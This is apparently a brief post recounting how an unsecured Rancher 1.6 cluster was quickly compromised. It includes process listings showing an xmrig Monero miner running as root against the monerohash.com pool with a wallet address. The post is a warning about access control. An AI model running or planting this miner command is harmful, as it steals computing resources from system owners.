Pre RKE we used Rancher 1.6. If you did not immediately lock down your cluster access using RBAC - your cluster would be saturated within 24 hours - assuming you are running directly on a public facing VPC.
ubuntu@a-osn-cd:~$ sudo ps -ef | grep stratum ubuntu 24878 65468 0 15:36 pts/2 00:00:00 grep --color=auto stratum root 60682 59879 0 Oct30 pts/1 00:00:00 /bin/sh -c ./xmrig -o stratum+tcp://monerohash.com:3333 -u 42kVTL3bciSHwjfJJNPif2JVMu4daFs6LVyBVtN9JbMXjLu6qZvwGtVJBf4PCeRHbZUiQDzBRBMu731EQWUhYGSoFz2r9fj -p x --max-cpu-usage=100 root 61061 60682 99 Oct30 pts/1 34-08:13:23 ./xmrig -o stratum+tcp://monerohash.com:3333 -u 42kVTL3bciSHwjfJJNPif2JVMu4daFs6LVyBVtN9JbMXjLu6qZvwGtVJBf4PCeRHbZUiQDzBRBMu731EQWUhYGSoFz2r9fj -p x --max-cpu-usage=100 PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 61061 root 20 0 4145488 145424 7500 S 4385 0.0 49449:50 ./xmrig -o stratum+tcp://monerohash.com:3333 -u 42kVTL3bciSHwjfJJNPif2JVMu4daFs6LVyBVtN9JbMXjLu6qZvwGtVJBf4PCeRHbZUiQDzBRBMu731EQWUhYGSoFz2r9fj -p x+